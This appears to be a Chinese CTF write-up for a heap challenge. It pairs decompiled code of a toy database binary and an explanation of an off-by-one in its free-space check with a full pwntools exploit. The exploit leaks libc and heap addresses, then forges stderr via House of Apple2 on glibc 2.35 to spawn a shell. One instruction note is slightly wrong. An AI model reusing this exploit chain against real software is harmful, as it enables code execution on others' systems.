int __fastcall main(int argc, const char **argv, const char **envp)
{
TablePage *v3; // rbx
void *Page; // rax
__int64 v5; // rdx
Record *v6; // rax
__int16 *v7; // rax
size_t v8; // rbx
__int64 v9; // rax
Record *v10; // rax
__int16 v12; // [rsp+0h] [rbp-50h] BYREF
unsigned __int16 inserted; // [rsp+2h] [rbp-4Eh]
int op; // [rsp+4h] [rbp-4Ch] BYREF
unsigned int v15; // [rsp+8h] [rbp-48h] BYREF
int i; // [rsp+Ch] [rbp-44h]
Record *v17; // [rsp+10h] [rbp-40h]
Record *v18; // [rsp+18h] [rbp-38h]
int v19[6]; // [rsp+20h] [rbp-30h] BYREF
unsigned __int64 v20; // [rsp+38h] [rbp-18h]
v20 = __readfsqword(0x28u);
init();
for ( i = 0; i <= 15; ++i )
*((_QWORD *)&pages + i) = 0LL; // 初始化0x10张pages,每张8字节,bss段,存放指针
while ( 1 )
{
print_operations();
__isoc99_scanf("%d", &op);
switch ( op )
{
case 1:
printf("Index: ");
__isoc99_scanf("%d", v19);
if ( v19[0] >= 0x10u )
goto DEAD_invalid;
if ( *((_QWORD *)&pages + v19[0]) )
{
puts("Table Page already exists");
}
else
{
v3 = (TablePage *)operator new(0x20uLL);// malloc一块0x20大小的堆块
// 0x0: 记录下面0x400堆块地址
// 0x8: 记录下面0x400堆块地址
// 0x10:记录下面0x400堆块地址+0x400
// 0x18:记录下面0x400堆块地址
TablePage::TablePage(v3); // 这里malloc了一块0x400的堆
*((_QWORD *)&pages + v19[0]) = v3; // 记录0x20堆块地址
puts("Table Page created");
}
continue;
case 2:
printf("Table Page Index: ");
__isoc99_scanf("%d", v19);
if ( v19[0] >= 0x10u )
goto DEAD_invalid;
if ( !*((_QWORD *)&pages + v19[0]) )
goto DEAD_not_exist;
Page = (void *)TablePage::GetPage(*((TablePage **)&pages + v19[0]));// 获取堆块地址
free(Page);
v5 = 8LL * v19[0];
if ( *(_QWORD *)((char *)&pages + v5) )
operator delete(*(void **)((char *)&pages + v5), 0x20uLL);// 清理堆块中残留信息
*((_QWORD *)&pages + v19[0]) = 0LL; // 清理记录的堆块地址,没有UAF
puts("Table Page removed");
break;
case 3:
printf("Index: ");
__isoc99_scanf("%d", v19);
if ( v19[0] >= 0x10u )
goto DEAD_invalid;
if ( !*((_QWORD *)&pages + v19[0]) )
goto DEAD_not_exist;
v6 = (Record *)operator new(0x10uLL); // 开辟0x10空间记录Record信息
// 0x0-0x8:大小信息
// 0x8-0x10:存放内容所在地址信息
*(_WORD *)v6 = 0;
*((_QWORD *)v6 + 1) = 0LL; // 初始化
v18 = v6;
printf("Varchar Length: ");
__isoc99_scanf("%hd", v18); // 读入short int, 也就是长度最多为 0x7fff
// 但是一个page最多0x400空间,多了会直接炸掉
if ( *(_WORD *)v18 ) // 长度不为0
{
*((_QWORD *)v18 + 1) = operator new[](*(__int16 *)v18);// 开辟对应大小空间
printf("Varchar: ");
read(0, *((void **)v18 + 1), *(__int16 *)v18);// 读入Record内容
inserted = TablePage::InsertRecord(*((TablePage **)&pages + v19[0]), v18);
if ( *((_QWORD *)v18 + 1) ) // 清空记录的信息
operator delete[](*((void **)v18 + 1));
if ( v18 )
operator delete(v18, 0x10uLL); // 把这0x10空间也还回去
printf("Record inserted, slot id: %d\n", inserted);
}
else
{
puts("Invalid varchar length");
if ( v18 )
operator delete(v18, 0x10uLL);
}
break;
case 4:
printf("Index: ");
__isoc99_scanf("%d", &v15);
if ( v15 >= 0x10 )
goto DEAD_invalid;
if ( !*((_QWORD *)&pages + (int)v15) )
goto DEAD_not_exist;
printf("Slot ID: ");
__isoc99_scanf("%hd", &v12);
TablePage::GetRecord((TablePage *)v19, *((_QWORD *)&pages + (int)v15));
if ( (unsigned __int8)std::operator!=<Record>(v19, 0LL) )
{
v7 = (__int16 *)std::__shared_ptr_access<Record,(__gnu_cxx::_Lock_policy)2,false,false>::operator->(v19);
printf("Varchar Length: %d\n", (unsigned int)*v7);
printf("Varchar: ");
v8 = *(__int16 *)std::__shared_ptr_access<Record,(__gnu_cxx::_Lock_policy)2,false,false>::operator->(v19);
v9 = std::__shared_ptr_access<Record,(__gnu_cxx::_Lock_policy)2,false,false>::operator->(v19);
write(1, *(const void **)(v9 + 8), v8);
putchar(10);
}
else
{
puts("Record not found");
}
std::shared_ptr<Record>::~shared_ptr(v19);
break;
case 5:
printf("Index: ");
__isoc99_scanf("%d", v19);
printf("Slot ID: ");
__isoc99_scanf("%hd", &v15);
if ( v19[0] < 0x10u )
{
if ( *((_QWORD *)&pages + v19[0]) )
{
v10 = (Record *)operator new(0x10uLL);
*(_WORD *)v10 = 0;
*((_QWORD *)v10 + 1) = 0LL;
v17 = v10;
printf("Varchar Length: ");
__isoc99_scanf("%hd", v17); // 虽然可以重写length,但EditRecord中存在校验,新length不能比老的length还大
*((_QWORD *)v17 + 1) = operator new[](*(__int16 *)v17);
printf("Varchar: ");
read(0, *((void **)v17 + 1), *(__int16 *)v17);
if ( (unsigned __int8)TablePage::EditRecord(*((TablePage **)&pages + v19[0]), v15, v17) )
puts("Record edited");
else
puts("Record Illegal edit");
}
else
{
DEAD_not_exist:
puts("Table Page does not exist");
}
}
else
{
DEAD_invalid:
puts("Invalid index");
}
break;
default:
return 0;
}
}
}
__int16 __fastcall TablePage::InsertRecord(TablePage *this, Record *a2)
{
int Size; // [rsp+10h] [rbp-10h]
int v4; // [rsp+14h] [rbp-Ch]
Size = Record::GetSize(a2); // 获取size大小
if ( TablePage::GetFreeSpaceSize(this) < (unsigned __int64)(Size + 4LL) )// 只需满足free_size >= size+4即可
return -1; // 也就是错误时候返回的slot_id=65535
LOWORD(v4) = (_WORD)this->end_ptr - Size - *(_QWORD *)&this->a;// 0x400-size
HIWORD(v4) = Size;
*this->start_ptr++ = v4;
memcpy((char *)this->end_ptr - Size, a2->content_ptr, Size);
this->end_ptr = (int *)((char *)this->end_ptr - Size);
return (unsigned __int16)(LOWORD(this->start_ptr) - 4 - this->a) >> 2;
}
__int64 __fastcall TablePage::GetFreeSpaceSize(TablePage *this)
{
return *((_QWORD *)this + 2) - *((_QWORD *)this + 1) + 1LL;
}
这个 GetFreeSpaceSize 故意多放了 1 Byte,也就是整个程序的漏洞所在。本身只有 0x400 大小,但这边认为是 0x401, 所以自己填 Size 最大 0x3fd 可以通过校验,同时也会发生溢出。
代码有点复杂,做个实验就好理解数据是怎么存储的了:


存储的内容是从 0x400 这个堆块的尾部开始填充的,而开头则是以 ”剩余 size(2Bytes) + 本次消耗 size(2Bytes)” 的格式依次填充的。
CWD: AX 符号位拓展到 DX
CDQ: EAX 符号位拓展到 EDX
CQO: RAX 符号位拓展到 RDX
CBW: AL 符号位拓展到 DX
CWDE: AX 符号位拓展到 EAX
CDQE: EAX 符号位拓展到 RAX(Convert Doubleword to Quadword with Sign-Extension)
Tablepage 0x20 大小 4 个指针还没搞清楚具体是干嘛的,第二个大概是 start_ptr,第三个则是 end_ptr. 当我们填入最大可填的 size 即 0x3fd 时,start_ptr 指向的位置(也就是 0x400 堆块的开头)会被写入
0x0000 0000 03fd 0003
再看 memcpy :
memcpy((char *)this->end_ptr - Size, a2->content_ptr, Size);
0x400 – 0x3fd = 0x3, 也就是从第 3 个字节开始写入的,把原本在内存上的 0x03 给覆盖掉了,从而能导致一系列溢出。
再来看它是怎么输出的:
TablePage::GetRecord((TablePage *)v19, (TablePage *)pages[v15], v12);
TablePage *__fastcall TablePage::GetRecord(TablePage *this, TablePage *a2, unsigned __int16 a3)
{
unsigned __int16 *v5; // [rsp+20h] [rbp-10h]
__int64 v6; // [rsp+28h] [rbp-8h]
if ( a3 < (unsigned __int16)TablePage::GetSlotNum(a2) )
{
v5 = (unsigned __int16 *)&a2->next_ptr[a3];
v6 = operator new(0x10uLL);
*(_WORD *)v6 = v5[1];
*(_QWORD *)(v6 + 8) = *v5 + *(_QWORD *)&a2->a;
std::shared_ptr<Record>::shared_ptr<Record,void>(this, v6);
}
else
{
std::shared_ptr<Record>::shared_ptr(this, 0LL);
}
return this;
}
__int16 __fastcall TablePage::GetSlotNum(TablePage *this)
{
return (unsigned __int16)(*((_WORD *)this + 4) - *(_WORD *)this) >> 2;// WORD的this+4不就是QWORD的this+1吗,那不就是this->start吗
}
通过计算 start 的偏移除以 4 就能得到这个 Page 里面有几个 Slot.
由于 libc 版本是 2.35,故首先想到打 House of Apple2.
显然我们需要控制 IO_FILE 流,但是这道题又挺特别,不需要我们通过 unsortedbin/largebin attack 去把 stderr 的 _chain 改成堆上地址再在堆上进行 IO_FILE 结构体的伪造——这个 InsertRecord 函数是先在堆块里写入内容再根据相应 Page 中提供的指针插入的。因此我们只需要篡改 Page 里的指针,再调用 InsertRecord 即可直接篡改 stderr/stdout/stdin 这类 IO_FILE.
第一次成功应用 House of Apple2,可喜可贺!
from pwn import *
io = process('./db')
libc = ELF('./libc.so.6')
elf = ELF('./db')
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io, "b check_match")
# gdb.attach(io, "b exit")
def cmd(c):
io.recvuntil(b">>> ")
io.sendline(str(c))
def create(index):
cmd(1)
io.recvuntil(b"Index: ")
io.sendline(str(index))
def remove(index):
cmd(2)
io.recvuntil(b"Index: ")
io.sendline(str(index))
def insert(index, len, varchar):
cmd(3)
io.recvuntil(b"Index: ")
io.sendline(str(index))
io.recvuntil(b"Length: ")
io.sendline(str(len))
io.recvuntil(b"Varchar: ")
io.send(varchar)
# io.recvuntil("slot id: ")
# return int(io.recvline().strip())
def get(index, slot_id):
cmd(4)
io.recvuntil(b"Index: ")
io.sendline(str(index))
io.recvuntil(b"Slot ID: ")
io.sendline(str(slot_id))
def edit(index, slot_id, len, varchar):
cmd(5)
io.recvuntil(b"Index: ")
io.sendline(str(index))
io.recvuntil(b"Slot ID: ")
io.sendline(str(slot_id))
io.recvuntil(b"Length: ")
io.sendline(str(len))
io.recvuntil(b"Varchar: ")
io.send(varchar)
# fill tcache
# create 0-9
for i in range(10):
create(i)
# remove 3-9
for i in range(7):
remove(i+3)
# remove 1 into unsortedbin(remain 0, 2)
# 0 to overflow; 2 to keep 1 not be consolidated
remove(1)
# overflow (can overwrite high 1 byte of size)
# new size: 0x??fd
insert(0, 0x3fd, b'\x08'+b"A"*0x3fc)
get(0, 0)
# leak libc & heap
io.recvuntil(b'A'*0x3fc)
leak = io.recv(0x450)
print(leak)
leak_heap = u64(leak[0x20:0x26].ljust(8, b'\x00'))
print(hex(leak_heap))
leak_stack = u64(leak[0x80:0x86].ljust(8, b'\x00'))
print(hex(leak_stack))
heap_base = leak_heap - 0x12720
libc_base = leak_stack - 0x21ace0
print('heap_base:', hex(heap_base))
print('libc_base:', hex(libc_base))
# house of apple2
# get targets
_IO_2_1_stderr_ = libc_base + libc.sym['_IO_2_1_stderr_']
_IO_wstrn_jumps = libc_base + 0x216dc0 # _IO_wstrn_jumps 总是在 _IO_2_1_stdout_ 前面 0x5000 左右的位置
system = libc_base + libc.sym['system']
print('_IO_2_1_stderr_:', hex(_IO_2_1_stderr_))
print('_IO_wstrn_jumps:', hex(_IO_wstrn_jumps))
print('system:', hex(system))
for i in range(7):
create(i+3)
# pause()
# fake_wide_vtable
page_4_addr = heap_base + 0x140e0
payload = flat({
0x18 : system,
}, filler=b'\x00')
insert(4, len(payload), payload)
fake_wide_vtable = page_4_addr + 0x400 - len(payload)
print('page_4_addr:', hex(page_4_addr))
print('fake_wide_vtable:', hex(fake_wide_vtable))
# pause()
# fake_wide_data
page_5_addr = heap_base + 0x13ca0
payload = flat({
0xe0 : fake_wide_vtable, # _wide_vtable
0x20 : 1 # pass check
}, filler=b'\x00')
insert(5, len(payload), payload)
fake_wide_data = page_5_addr + 0x400 - len(payload)
print('page_5_addr:', hex(page_5_addr))
print('fake_wide_data:', hex(fake_wide_data))
# fake _IO_FILE (should be 'inserted' into _IO_2_1_stderr_)
# attention : 这里打的 _IO_wdefault_xsgetn 相关链,过校验需要 test _flags, 0x800; 故不能直接写 " sh",而 "s;sh" 则既能过校验,又能作为 system() 的参数,最后调用 system("s;sh") 仍然可以成功获得shell
fake_IO_FILE = flat({
0x0 : b"s;sh", # _flags; test _flags, 0x800(_flags & 0x800)
# 下面这些不需要伪造
# 0x8 : libc_base + libc.sym['_IO_2_1_stderr_'] + 131, # _IO_read_ptr
# 0x10: libc_base + libc.sym['_IO_2_1_stderr_'] + 131, # _IO_read_end
# 0x18: libc_base + libc.sym['_IO_2_1_stderr_'] + 131, # _IO_read_base
# 0x20: libc_base + libc.sym['_IO_2_1_stderr_'] + 131, # _IO_write_base
# 0x28: libc_base + libc.sym['_IO_2_1_stderr_'] + 131, # _IO_write_ptr
# 0x30: libc_base + libc.sym['_IO_2_1_stderr_'] + 131, # _IO_write_end
# 0x38: libc_base + libc.sym['_IO_2_1_stderr_'] + 131, # _IO_buf_base
# 0x40: libc_base + libc.sym['_IO_2_1_stderr_'] + 131, # _IO_buf_end
0x48: 0, # _IO_save_base
0x50: 0, # _IO_backup_base
0x58: 0, # _IO_save_end
0x60: 0, # _markers
# 0x68: libc_base + libc.sym['_IO_2_1_stdout_'], # _chain
# 0x70: 2, # _fileno
# 0x78: -1, # _old_offset
0x88: libc_base + 0x21ca60, # _lock; 必须伪造
# 0x90 : -1, # _offset
0xc0 : 1, # _mode
0xd8 : _IO_wstrn_jumps - 0x20, # vtable
0xa0 : fake_wide_data, # _wide_data
}, filler=b'\x00')
# fake Page
# Page: base, start, end, magic
# write_in addr: end-now_size -> _IO_2_1_stderr_
fake_page = flat(
_IO_2_1_stderr_ + len(fake_IO_FILE) - 0x400, # base
_IO_2_1_stderr_ + len(fake_IO_FILE) - 0x400, # start
_IO_2_1_stderr_ + len(fake_IO_FILE), # end
_IO_2_1_stderr_ + len(fake_IO_FILE) - 0x400, # magic
)
print('fake_page:', _IO_2_1_stderr_ + len(fake_IO_FILE))
# 再泄露一次保证篡改后面的内容时不影响前面的东西
get(0, 0)
leak = io.recv(0x8fd + 0x1e)
leak = leak[0x1e:]
print(leak)
payload = flat(
leak[:0x84d],
fake_page,
leak[0x84d+0x20:]
)
edit(0, 0, len(payload), payload)
insert(2, len(fake_IO_FILE), fake_IO_FILE)
# trigger
cmd(6)
io.interactive()